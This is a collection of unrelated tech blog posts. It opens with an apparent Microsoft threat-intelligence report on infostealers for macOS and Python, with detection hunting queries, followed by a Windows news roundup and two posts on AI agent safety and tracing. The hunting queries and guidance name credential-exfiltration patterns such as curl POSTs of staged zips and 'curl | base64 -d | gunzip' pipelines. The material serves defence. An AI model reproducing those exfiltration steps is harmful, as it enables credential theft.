Infostealer threats are rapidly expanding beyond traditional Windows-focused campaigns, increasingly targeting macOS environments, leveraging cross-platform languages such as Python, and abusing trusted platforms and utilities to silently deliver credential-stealing malware at scale. Since late 2025, Microsoft Defender Experts has observed macOS targeted infostealer campaigns using social engineering techniques—including ClickFix-style prompts and malicious DMG installers—to deploy macOS-specific infostealers such as DigitStealer, MacSync, and Atomic macOS Stealer (AMOS). 

These campaigns leverage fileless execution, native macOS utilities, and AppleScript automation to harvest credentials, session data, secrets from browsers, keychains, and developer environments. Simultaneously, Python-based stealers are being leveraged by attackers to rapidly adapt, reuse code, and target heterogeneous environments with minimal overhead. Other threat actors are abusing trusted platforms and utilities—including WhatsApp and PDF converter tools—to distribute malware like Eternidade Stealer and gain access to financial and cryptocurrency accounts.

This blog examines how modern infostealers operate across operating systems and delivery channels by blending into legitimate ecosystems and evading conventional defenses. We provide comprehensive detection coverage through Microsoft Defender XDR and actionable guidance to help organizations detect, mitigate, and respond to these evolving threats. 

Activity overview 

macOS users are being targeted through fake software and browser tricks 

Mac users are encountering deceptive websites—often through Google Ads or malicious advertisements—that either prompt them to download fake applications or instruct them to copy and paste commands into their Terminal. These “ClickFix” style attacks trick users into downloading malware that steals browser passwords, cryptocurrency wallets, cloud credentials, and developer access keys. 

Three major Mac-focused stealer campaigns include DigitStealer (distributed through fake DynamicLake software), MacSync (delivered via copy-paste Terminal commands), and Atomic Stealer (using fake AI tool installers). All three harvest the same types of data—browser credentials, saved passwords, cryptocurrency wallet information, and developer secrets—then send everything to attacker servers before deleting traces of the infection. 

Stolen credentials enable account takeovers across banking, email, social media, and corporate cloud services. Cryptocurrency wallet theft can result in immediate financial loss. For businesses, compromised developer credentials can provide attackers with access to source code, cloud infrastructure, and customer data. 

Phishing campaigns are delivering Python-based stealers to organizations 

The proliferation of Python information stealers has become an escalating concern. This gravitation towards Python is driven by ease of use and the availability of tools and frameworks allowing quick development, even for individuals with limited coding knowledge. Due to this, Microsoft Defender Experts observed multiple Python-based infostealer campaigns over the past year. They are typically distributed via phishing emails and collect login credentials, session cookies, authentication tokens, credit card numbers, and crypto wallet data.

PXA Stealer, one of the most notable Python-based infostealers seen in 2025, harvests sensitive data including login credentials, financial information, and browser data. Linked to Vietnamese-speaking threat actors, it targets government and education entities through phishing campaigns. In October 2025 and December 2025, Microsoft Defender Experts investigated two PXA Stealer campaigns that used phishing emails for initial access, established persistence via registry Run keys or scheduled tasks, downloaded payloads from remote locations, collected sensitive information, and exfiltrated the data via Telegram. To evade detection, we observed the use of legitimate services such as Telegram for command-and-control communications, obfuscated Python scripts, malicious DLLs being sideloaded, Python interpreter masquerading as a system process (i.e., svchost.exe), and the use of signed and living off the land binaries.

Due to the growing threat of Python-based infostealers, it is important that organizations protect their environment by being aware of the tactics, techniques, and procedures used by the threat actors who deploy this type of malware. Being compromised by infostealers can lead to data breaches, unauthorized access to internal systems, business email compromise (BEC), supply chain attacks, and ransomware attacks.

Attackers are weaponizing WhatsApp and PDF tools to spread infostealers 

Since late 2025, platform abuse has become an increasingly prevalent tactic wherein adversaries deliberately exploit the legitimacy, scale, and user trust associated with widely used applications and services. 

WhatsApp Abused to Deliver Eternidade Stealer: During November 2025, Microsoft Defender Experts identified a WhatsApp platform abuse campaign leveraging multi-stage infection and worm-like propagation to distribute malware. The activity begins with an obfuscated Visual Basic script that drops a malicious batch file launching PowerShell instances to download payloads.

One of the payloads is a Python script that establishes communication with a remote server and leverages WPPConnect to automate message sending from hijacked WhatsApp accounts, harvests the victim’s contact list, and sends malicious attachments to all contacts using predefined messaging templates. Another payload is a malicious MSI installer that ultimately delivers Eternidade Stealer, a Delphi-based credential stealer that continuously monitors active windows and running processes for strings associated with banking portals, payment services, and cryptocurrency exchanges including Bradesco, BTG Pactual, MercadoPago, Stripe, Binance, Coinbase, MetaMask, and Trust Wallet.

Malicious Crystal PDF installer campaign: In September 2025, Microsoft Defender Experts discovered a malicious campaign centered on an application masquerading as a PDF editor named Crystal PDF. The campaign leveraged malvertising and SEO poisoning through Google Ads to lure users. When executed, CrystalPDF.exe establishes persistence via scheduled tasks and functions as an information stealer, covertly hijacking Firefox and Chrome browsers to access sensitive files in AppData\Roaming, including cookies, session data, and credential caches.

Mitigation and protection guidance 

Microsoft recommends the following mitigations to reduce the impact of the macOS‑focused, Python‑based, and platform‑abuse infostealer threats discussed in this report. These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender XDR. 

Organizations can follow these recommendations to mitigate threats associated with this threat:             

Strengthen user awareness & execution safeguards 

• Educate users on social‑engineering lures, including malvertising redirect chains, fake installers, and ClickFix‑style copy‑paste prompts common across macOS stealer campaigns such as DigitStealer, MacSync, and AMOS. 

• Discourage installation of unsigned DMGs or unofficial “terminal‑fix” utilities; reinforce safe‑download practices for consumer and enterprise macOS systems. 

Harden macOS environments against native tool abuse 

• Monitor for suspicious Terminal activity—especially execution flows involving curl, Base64 decoding, gunzip, osascript, or JXA invocation, which appear across all three macOS stealers. 

• Detect patterns of fileless execution, such as in‑memory pipelines using curl | base64 -d | gunzip, or AppleScript‑driven system discovery and credential harvesting. 

• Leverage Defender’s custom detection rules to alert on abnormal access to Keychain, browser credential stores, and cloud/developer artifacts, including SSH keys, Kubernetes configs, AWS credentials, and wallet data. 

Control outbound traffic & staging behavior 

• Inspect network egress for POST requests to newly registered or suspicious domains—a key indicator for DigitStealer, MacSync, AMOS, and Python‑based stealer campaigns. 

• Detect transient creation of ZIP archives under /tmp or similar ephemeral directories, followed by outbound exfiltration attempts. 

• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat‑intelligence sources. 

Protect against Python-based stealers & cross-platform payloads 

• Harden endpoint defenses around LOLBIN abuse, such as certutil.exe decoding malicious payloads. 

• Evaluate activity involving AutoIt and process hollowing, common in platform‑abuse campaigns. 

Microsoft also recommends the following mitigations to reduce the impact of this threat: 

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats. 

• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 

• Enable network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats. 

• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. 

• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. 

• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to prevent attackers from using local administrator privileges to set antivirus exclusions. 

• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against LOLBAS techniques used by threat actors: 
  • Block execution of potentially obfuscated scripts 
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block JavaScript or VBScript from launching downloaded executable content 

Microsoft Defender XDR detections 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. 

Microsoft Defender XDR Threat analytics   

• From ClickFix to code signed: the quiet shift of MacSync Stealer malware
• Malicious Crystal PDF installer campaign

Hunting queries   

Microsoft Defender XDR  

Microsoft Defender XDR customers can run the following queries to find related activity in their networks: 

Use the following queries to identify activity related to DigitStealer 

// Identify suspicious DynamicLake disk image (.dmg) mounting 
DeviceProcessEvents 
| where FileName has_any ('mount_hfs', 'mount') 
| where ProcessCommandLine has_all ('-o nodev' , '-o quarantine') 
| where ProcessCommandLine contains '/Volumes/Install DynamicLake' 

 
// Identify data exfiltration to DigitStealer C2 API endpoints. 
DeviceProcessEvents 
| where InitiatingProcessFileName has_any ('bash', 'sh') 
| where ProcessCommandLine has_all ('curl', '--retry 10') 
| where ProcessCommandLine contains 'hwid=' 
| where ProcessCommandLine endswith "api/credentials" 
        or ProcessCommandLine endswith "api/grabber" 
        or ProcessCommandLine endswith "api/log" 
| extend APIEndpoint = extract(@"/api/([^\s]+)", 1, ProcessCommandLine) 

Use the following queries to identify activity related to MacSync

// Identify exfiltration of staged data via curl 
DeviceProcessEvents 
| where InitiatingProcessFileName =~ "zsh" and FileName =~ "curl" 
| where ProcessCommandLine has_all ("curl -k -X POST -H", "api-key: ", "--max-time", "-F file=@/tmp/", ".zip", "-F buildtxd=") 

Use the following queries to identify activity related to Atomic Stealer (AMOS)

// Identify suspicious AlliAi disk image (.dmg) mounting  
DeviceProcessEvents  
| where FileName has_any ('mount_hfs', 'mount') 
| where ProcessCommandLine has_all ('-o nodev', '-o quarantine')  
| where ProcessCommandLine contains '/Volumes/ALLI' 

Use the following queries to identify activity related to PXA Stealer: Campaign 1

// Identify activity initiated by renamed python binary 
DeviceProcessEvents 
| where InitiatingProcessFileName endswith "svchost.exe" 
| where InitiatingProcessVersionInfoOriginalFileName == "pythonw.exe" 

// Identify network connections initiated by renamed python binary 
DeviceNetworkEvents 
| where InitiatingProcessFileName endswith "svchost.exe" 
| where InitiatingProcessVersionInfoOriginalFileName == "pythonw.exe" 

Use the following queries to identify activity related to PXA Stealer: Campaign 2

// Identify malicious Process Execution activity 
DeviceProcessEvents 
 | where ProcessCommandLine  has_all ("-y","x",@"C:","Users","Public", ".pdf") and ProcessCommandLine  has_any (".jpg",".png") 

// Identify suspicious process injection activity 
DeviceProcessEvents 
 | where FileName == "cvtres.exe" 
 | where InitiatingProcessFileName has "svchost.exe" 
 | where InitiatingProcessFolderPath !contains "system32" 

Use the following queries to identify activity related to WhatsApp Abused to Deliver Eternidade Stealer

// Identify the files dropped from the malicious VBS execution 
DeviceFileEvents 
| where InitiatingProcessCommandLine has_all ("Downloads",".vbs") 
| where FileName has_any (".zip",".lnk",".bat") and FolderPath has_all ("\\Temp\\") 

// Identify batch script launching powershell instances to drop payloads 
DeviceProcessEvents 
| where InitiatingProcessParentFileName == "wscript.exe" and InitiatingProcessCommandLine  has_any ("instalar.bat","python_install.bat") 
| where ProcessCommandLine !has "conhost.exe" 
 
// Identify AutoIT executable invoking malicious AutoIT script 
DeviceProcessEvents 
| where InitiatingProcessCommandLine   has ".log" and InitiatingProcessVersionInfoOriginalFileName == "Autoit3.exe" 

Use the following queries to identify activity related to Malicious CrystalPDF Installer Campaign

// Identify network connections to C2 domains 
DeviceNetworkEvents 
| where InitiatingProcessVersionInfoOriginalFileName == "CrystalPDF.exe" 

// Identify scheduled task persistence 
DeviceEvents 
| where InitiatingProcessVersionInfoProductName == "CrystalPDF" 
| where ActionType == "ScheduledTaskCreated 

Indicators of compromise 

Microsoft Sentinel  

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.   

References  

• MacSync Stealer Evolves: From ClickFix to Code-Signed Swift Malware — Jamf Threat Labs  
• Infostealers Strike Again: Malicious Installers Pass Through EDRs Undetected 
• SpiderLabs IDs New Banking Trojan Distributed Through WhatsApp 
• A Vietnamese threat actor’s shift from PXA Stealer to PureRAT | Huntress 
• Ghost in the Zip | New PXA Stealer and Its Telegram-Powered Ecosystem | SentinelOne 
• Information-Stealing Malware Distribution Campaign Using Emails Disguised as Copyright Infringement Notices – wizSafe Security Signal -Guideposts to Safety and Security- IIJ 

Learn more   

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

Learn more about securing Copilot Studio agents with Microsoft Defender 

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps | Microsoft Learn  

Explore how to build and customize agents with Copilot Studio Agent Builder  

The post Infostealers without borders: macOS, Python stealers, and platform abuse appeared first on Microsoft Security Blog.

Jason Willems believes the tech monoculture is finally breaking, Don Ho shares some bad Notepad++ news, Tailscale’s Avery Pennarun pens a great downtime apology, Milan Milanović explains why you can only code 4 hours per day, and Addy Osmani on managing comprehension debt when leaning on AI to code.

View the newsletter

Join the discussion

Changelog++ members save 1 minute on this episode because they made the ads disappear. Join today!

Sponsors:

• Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Featuring:

• Jerod Santo – Website, GitHub, LinkedIn, Mastodon, X

Welcome to the January 2026 Windows news you can use, including new capabilities in Windows Backup for Organizations and Windows 365.

Coming up on February 5, there will be another Secure Boot AMA, so please tune in to get answers to your questions. Then, on Mondays in March, join us for deep dives, AMAs, and more at Microsoft Technical Takeoff for Windows and Microsoft Intune. Check out the full schedule and start adding sessions to your calendar. Now, let's get started with the latest news you can use.

New in Windows update and device management

• [BACKUP] [RESTORE] – Windows Backup for Organizations is expanding to include a new restore experience at first sign-in. In early 2026, Windows 11 users will be able to restore their Windows settings and Microsoft Store app list at the very first sign-in. Even on Microsoft Entra hybrid join devices and multi-user setups.
• [UPDATES] [OOBE] – Starting with the January 2026 security update, the ability to install Windows quality updates during the out-of-box experience (OOBE) will no longer be enabled by default in Microsoft Intune.
• [WINDOWS 365] – Windows 365 is now available in the Brazil South region. Your organization can now provision Cloud PCs closer to your users in Brazil and across South America, helping reduce latency and support regional data residency requirements.
• [INTUNE] – Get insights from the experts by watching last week's Intune edition of Tech Community Live, now available on demand. Learn how to secure endpoints with policy and Microsoft Defender, manage apps, and apply Zero Trust best practices when managing devices in Intune.

New in Windows security

• [NETWORK] [ACCESS] – Windows is moving toward a more secure authentication model by phasing out New Technology LAN Manager (NTLM) in favor of stronger, Kerberos‑based alternatives. Get familiar with the phased roadmap for NTLM disablement and tools that will help prepare your organization for this change.
• [WINDOWS HELLO] – The January 2026 optional non-security update starts the gradual rollout of support for peripheral fingerprint sensors with Windows Hello Enhanced Sign-in Security (ESS).
• [SECURE BOOT] – The Secure Boot playbook has been updated to make it easier to identify the steps and tools to help you proactively update Secure Boot certificates across your estate before they start expiring in June of 2026. Have questions? Post them now then tune in for the Secure Boot AMA on February 5, 2026 at 8:00 AM PT.
• [SECURE BOOT] [INTUNE] – You can now deploy, manage, and monitor Secure Boot certificate updates using Microsoft Intune. Step-by-step guidance is now available and has been added to the Secure Boot playbook for easy reference. Additionally, a new Secure Boot status report is now available in Windows Autopatch.
• [SECURE BOOT] [WINDOWS UPDATE] – Starting with the January 2026 security update, Windows quality updates include a subset of high confidence device targeting data that identifies devices eligible to automatically receive new Secure Boot certificates. Devices will receive the new certificates only after demonstrating sufficient successful update signals, ensuring a safe and phased deployment.
• [DATA PROTECTION] – With the January 2026 optional non-security update, IT admins can now set how often Data Protection Application Programming Interface (DPAPI) domain backup keys rotate automatically. This strengthens cryptographic security and reduces reliance on older encryption algorithms.
• [VIRTUALIZATION] [CLOUD PC] – A unified, policy-driven way to control which RDP Shortpath modes (Managed, Public/STUN, Public/TURN) are enabled across Azure Virtual Desktop session hosts and Windows 365 Cloud PCs is now available. Explore RDP Shortpath configuration via Group Policy or Microsoft Intune.
• [M365] – Starting February 9, 2026, Microsoft will continue to ramp up enforcement, and users will be unable to sign in to the Microsoft 365 admin center without successfully completing multifactor authentication.
• [WDS] – Starting with the January 2026 security update, you can explicitly disable WDS hands-free deployment with the help of new Event Log alerts and registry key options. In April 2026, hands-free deployment will be disabled by default. After that date, it will no longer work unless explicitly overridden with registry settings.

New in AI

• [WINDOWS 365] – Windows 365 for Agents introduces a set of capabilities that make it possible to run autonomous AI agents securely on Cloud PCs. Enhancements will help you automate complex tasks, reduce idle costs, and ensure trust in autonomous operations.

To learn about latest capabilities for Copilot+ PCs, visit the Windows Roadmap and filter Platform by "Copilot+ PC Exclusives."

New in productivity and collaboration

Install the January 2026 security update for Windows 11, versions 25H2 and 24H2 to get these and other capabilities.

• [START MENU] – The redesigned Start menu continues its gradual rollout to Windows devices. As the rollout progresses, more Windows devices will receive the redesigned Start menu experience.

New features and improvements are coming in the February 2026 security update. You can preview them by installing the January 2026 optional non-security update for Windows 11, version 25H2 and version 24H2. This update includes the gradual rollout of:

• [MOBILE] – Cross‑Device Resume is expanding to include the ability to continue activities from your Android phone on your PC based on the apps and services you use, including resuming Spotify playback, working in Word, Excel, or PowerPoint, or continuing a browsing session.
• [NARRATOR] – Narrator now gives you more control over how it announces on‑screen controls. You can choose which details are spoken and adjust their order to match how you navigate apps.
• [VOICE ACCESS] – Voice Access setup has been streamlined to make it easier to get started. The redesigned experience helps you download a speech model for your chosen language, select your preferred input microphone, and learn what Voice Access can help you do on your Windows PC. You can also now adjust the amount of delay before a voice command runs.
• [AUDIO] – Windows now offers enhanced support for MIDI 1.0 and MIDI 2.0, including full WinMM and WinRT MIDI 1.0 support with built-in translation, shared MIDI ports across apps, custom port names, loopback, and app-to-app MIDI.
• [SETTINGS] – The Device card on the Settings home page appears when you sign in with your Microsoft account. It now shows key specifications and usage details for your PC.
• [COPILOT+ PC] – The Settings Agent now supports more languages, with expanded support for German, Portuguese, Spanish, Korean, Japanese, Hindi, Italian, and Chinese (Simplified).

New for developers

• [APPS] [TOOLS] – The Windows App Development CLI (winapp) is now available in public preview. It's a new open-source command-line tool designed to simplify the development lifecycle for Windows applications across a wide range of frameworks and toolchains.

New in Windows Server

For the latest features and improvements for Windows Server, see the Windows Server 2025 release notes and Windows Server, version 23H2 release notes.

• [ACTIVE DIRECTORY] – Guidance is now available to help mitigate potential threats to Active Directory Domain Services, including authentication relay attacks, Kerberoasting, and unconstrained delegation.
• [KERBEROS] – The first phase of protections designed to address a Kerberos information disclosure vulnerability are now available. They include new auditing and optional configuration controls that help reduce reliance on legacy encryption types such as RC4 and prepare domain controllers.
• [REMINDER] – Starting with the January 2026 security update, Windows Server 2025 updates and release notes have their own KB identifiers and build numbers. These identifiers are separate from those for Windows 11, versions 24H2 and 25H2. This change improves clarity for administrators. Installation and management processes remain the same.

Out-of-band updates

Two out-of-band updates were released in January:

• January 17, 2026 – Out-of-band update to address sign-in failures during Remote Desktop connections
• January 24, 2026 – Out-of-band update to address cloud‑backed storage application issues

Lifecycle milestones

Check out our lifecycle documentation for the latest updates on Deprecated features in the Windows client and Features removed or no longer developed starting with Windows Server 2025.

Additional resources

Looking for the latest news and previews for Windows, Copilot, Copilot+ PCs, the Windows and Windows Server Insider Programs, and more? Check out these resources:

• Windows Roadmapfor new Copilot+ PCs and Windows features – filter by platform, version, status, and channel or search by feature name
• Microsoft 365 Copilot release notesfor latest features and improvements
• Windows Insider Blogfor what's available in the Canary, Dev, Beta, or Release Preview Channels
• Windows Server Insiderfor feature preview opportunities
• Understanding update history for Windows Insider preview features, fixes, and changesto learn about the types of updates for Windows Insiders

Join the conversation

If you are an IT admin with questions about managing and updating Windows, add our monthly Windows Office Hours to your calendar. We assemble a crew of Windows, Windows 365, security, and Intune experts to help answer your questions and provide tips on tools, best practices, and troubleshooting.

Finally, we are always looking to improve this monthly summary. Drop us a note in the Comments and let us know what we can do to make this more useful for you!

Continue the conversation. Find best practices. Bookmark the Windows Tech Community, then follow us @MSWindowsITPro on X and on LinkedIn. Looking for support? Visit Windows on Microsoft Q&A.

In this post, we’re going to tackle a massive challenge in the agent space: Safety and Visibility. We are going to build a practical demo that connects two distinct MCP servers to a single agent service using the Microsoft Agents SDK and Azure OpenAI. To top it off, we’ll wrap it all in a lightweight web UI (AG-UI) that streams text, traces tool calls, and—crucially—gates state-changing actions behind human approval.

The Problem: Why Do We Need This?  

As agent-based applications get more complex, we start hitting the same headaches over and over. We want agents to work with real backends, but we keep running into familiar pitfalls.  

The “Black Box” Issue: Tool calls happen out of sight, so users have no idea what the agent is doing—instantly killing trust.  

Tangled Logic: Backend logic gets crammed into prompts, turning into messy spaghetti that’s hard to test, deploy, and improve.  

Unsafe Writes: An agent might update a database or delete a file without any human in the loop.  

Our Goal: Keep backends modular with MCP, centralize the agent’s “brain,” and give users a UI that makes every tool action clear and trustworthy.  

The Pitch: Backends stay as MCP tools, the agent brain lives in one service, and the UI makes tool activity fully transparent.  

The Architecture

To solve this, we are using a microservices approach with Azure at its core.

High-Level Components  

Policy MCP Server: Connects to Azure Blob Storage and serves as the source of truth for policy documents.  

Order MCP Server: Connects to Azure SQL, managing structured order data.  

Agent + AG-UI Service (FastAPI): The core of the system, linking to the MCP servers, running the agent through the Microsoft Agents SDK, and streaming events directly to the browser.  

Web UI: A straightforward HTML/CSS/JavaScript frontend that displays the chat experience, tool traces, images, and human-approval cards.  

The Data Flow (Mental Model)  

Understanding the flow is key for effective debugging and observability. Here’s how a single request moves through the system:  

Prompt: The browser sends a user prompt to the Agent Service.  

Stream: The Agent Service instantly streams events back to the UI, including assistant text (token-by-token), tool-call traces (arguments and results), and custom UI elements like image cards or approval requests.  

Execution: The Agent Service calls the appropriate MCP tools (Policy or Orders) via SSE and JSON-RPC.  

Guardrails: For tools that change state (like updating an order), the agent pauses and explicitly requests human approval before proceeding.  

Sample Client (AGUI) Code

Sample Server (Policy Documents MCP Server)

Sample Server ( Orders MCP Server)

Scenarios

Scenario 1: Image Rendering (Read-Only)

Prompt: “Show me the photo for order 5390”

What happens:

• The agent calls get_order_photo.
• The UI receives a Custom:image event.
• An image card is rendered directly inside the chat.

Scenario 2: Approval Gating (Human-in-the-Loop)

Prompt: “Set the photo for order 5390 to https://example.com/new_photo.jpg”

What happens:

• The agent detects a write operation.
• An Approval Card appears in the UI.
• Approve: Executes set_order_photo.
• Reject: Cancels the action entirely.

Scenario 3: Policy Lookup

Prompt: “List available policy docs, then read the hazardous policy.”

What happens: The agent queries the Policy MCP Server (Azure Blob Storage), lists the available files, and then reads the specific document you requested.

Lessons Learned & Design Patterns  

Building this demo revealed some key insights for taking agentic systems to production.

 

MCP as a Boundary: MCP servers help keep domain tools cleanly separated, with clear ownership—Policy can run their own MCP server, and Orders can manage theirs independently.  

Trust through Visibility: Streaming tool traces, including arguments and results, is crucial for smooth debugging and building genuine user trust.  

First-Class Approval: Human approval works best when it’s a dedicated UI event that the frontend understands and enforces.

 

Operational Tips  

Reuse Clients: Don’t recreate Azure SDK clients on every request—initialize them once at startup and reuse them.  

Log Diagnostics: Always log tool latency and 429 errors to catch bottlenecks early.  

Stable Schemas: Keep inputs and outputs small, explicit, and well-defined to cut down on hallucinations and unpredictable behavior.

 

This post explored a practical approach to building safe, observable agentic systems with MCP, Microsoft Agents SDK, and Azure-native services. By splitting domain logic into MCP servers, centralizing the agent’s “brain,” and streaming every tool action through a human-aware UI, we showed how to replace opaque, risky behavior with trust, control, and visibility—treating human approval as a true first-class interaction for powerful, responsible automation.

 

AI agents are no longer simple chatbots – they’re autonomous problem solvers. They call tools, orchestrate workflows, and can make decisions on behalf of users. That power can unlock huge value, but it also raises a hard question: when something goes wrong, how do you figure out why?

This post explains why tracing is essential for reliable agents, the practical observability challenges teams face, and how Couchbase’s Agent Catalog and Agent Tracer turn opaque agent behavior into actionable, debuggable data traces in support of enterprise agents at scale.

The problem: autonomous behavior without visibility

Traditional software is deterministic. AI agents are not. They generate choices, pick tools, and change behavior as prompts and models evolve. When failures occur, they’re often composite and contextual – a confusing prompt plus an ambiguous tool description, or a hand-off between agents that drops critical context.

Without tracing, teams are effectively flying blind: you see poor outputs, but you can’t reconstruct the agent’s reasoning, tool calls, or schema mismatches that produced those outputs.

Why tracing matters 

Simply put, if a system’s output can’t be trusted, it won’t be used. But tracing is important for other reasons as well. 

• Explainability and trust: See the prompt, the model’s trajectory, tool calls, and results so you can explain agent decisions to stakeholders.
• Faster debugging: Pinpoint the exact step (LLM call, tool call, or hand-off) that failed instead of guessing.
• Cost control: Monitor for agent scenarios that involve overly repetitive LLM calls that drive costs higher. Also, teams can avoid trial‑and‑error tool calls that burn tokens and API credits by enforcing tool selectivity.
• Governance and rollback: Version prompts and tools so you can revert changes that degrade production behavior.

Three observability challenges agents introduce

As AI agents grow more autonomous and complex, they introduce unique observability challenges that traditional monitoring can’t address. Here are three critical ones and how modern tracing solves them:

1. Non-deterministic failures: Small prompt or environment changes can cascade into failures. Traces capture the session-level context and the LLM’s intermediate “thoughts,” making it possible to reproduce and fix issues.
2. Tool explosion and context confusion: Large tool sets cause overlapping descriptions and mistaken tool selection. Semantic tool selectivity reduces the set of tools the model sees to only the tools relevant to the user’s query.
3. Multi-agent coordination problems: When multiple agents collaborate, hand-offs can lose context or create reasoning-action mismatches. Tracing preserves hand-off messages so you can inspect what was transferred between agents.

Couchbase’s answer: Agent Catalog and Agent Tracer

Couchbase combines governance and observability into a single platform so teams can manage tools and prompts while capturing end-to-end traces for debugging and analysis.

• Agent Catalog (Tool and prompt governance)
  • Acts as a centralized, versioned repository for tools and prompts.
  • Uses semantic retrieval to return only the most relevant tools (improving accuracy and lowering token usage).
  • Enforces prompt versioning and rollback so changes can be audited and reverted without impacting production.
• Agent Tracer (Trace store plus UI and SQL++)
  • Collects spans and rich trace types (user, internal, LLM, tool call, tool result, hand-off, system, assistant) so every meaningful event in a session is recorded.
  • Stores traces as JSON in Couchbase for immediate, rich querying with SQL++ and for programmatic analysis.
  • Provides a visual UI for drilling down into sessions and a CLI/SDK for instrumentation and retrieval.

How it works in practice: spans, callbacks, and trace types

A span is a single operation, recording information like start time and end time (latency), operation name, status (success/error), metadata (tags/attributes, logs), etc. A root span represents the entire request or workflow (e.g., one agent run), while a child spans represent sub-operations that happen within that workflow. Together, they form a trace showing how work flows through the system. 

Instrument your agentic app by adding a root span and child spans for operations such as LLM calls, document retrievals, and tool executions. You can add custom tags and use callbacks to capture tool results. When your agent runs, traces are written to your project’s agent-activity folder and can be forwarded to Couchbase Capella or your operational cluster for viewing in Agent Tracer.

Trace types include:

• User: Incoming messages from the end user
• LLM: Model responses and intermediate reasoning
• Tool call/Tool result: The tool invoked and its returned output
• Hand-off: Context passed between agents
• System/Internal/Assistant: Control flow, headers, and final assistant response

Given the variety in data and structure, JSON is the natural format for capturing and interacting with this type of data. 

A three-step troubleshooting workflow

How does it work in practice? 

• Set up: Instrument your app with spans and callbacks (root span names map to app names in the UI). Ensure logs are captured in .agent-activity and forwarded to your cluster.
• Identify: Use the Agent Tracer UI filters (app name, tags, date, annotations) to find the problematic session.
• Drill down: Open the session trace, inspect the LLM trajectory, tool calls, hand-offs, and any guardrail triggers. Use SQL++ to run targeted queries against the JSON traces for programmatic root-cause analysis.

Example failures and how tracing helps

What are some examples Couchbase helps solve with agent tracing?

• Wrong tool called: Inspect the tool_call entries to see whether the agent selected a semantically similar but incorrect tool. Improve tool descriptions or rely on Catalog selectivity to reduce overlap.
• Tool schema mismatch: Compare the tool_call arguments with the tool’s expected schema in the trace. Add input validation or transform layers where needed.
• Agent stuck in a loop: Detect repeated span patterns and loops in the trace. Add guardrails or timeout logic to break cycles.
• Inter-agent coordination failure: Review hand-off traces to spot withheld context or mismatched expectations between agents.

Why Couchbase for Agentic AI applications 

There are many reasons Couchbase’s unified database platform makes for an ideal data layer for AI and other modern mission-critical applications, but here are a few to consider:

• Unified store: Avoid fragmented stacks (multiple databases for caching/logs/vector search) with the unified Couchbase database platform, simplifying operations and reducing ETL friction. Learn more
• Performance at scale: Memory-first architecture, horizontal scaling, and native JSON support provide low-latency ingestion and flexible trace schema evolution. Learn more
• AI Services: Accelerate the building, managing, and scaling of trustworthy AI systems with these value-added services, lowering operational efforts and total cost of ownership. Learn more
• Familiar querying: Use SQL++ to analyze and extract structured insights from JSON traces programmatically. Learn more

Conclusion

Agent traces turn black‑box behavior into repeatable, explainable workflows. When tracing is combined with governed tool and prompt management, teams can move faster, reduce costs, and ship agentic apps with confidence and visibility. That visibility is critical to technical teams, business teams, and executive leadership to deploy agentic AI for critical business applications.

More resources

Check out these related resources:

• AI Services page
• Couchbase Capella page 
• Documentation: AI Services
• Documentation: Agent Tracer

The post What Are My AI Agents Doing? How to Gain Insight and Control. appeared first on The Couchbase Blog.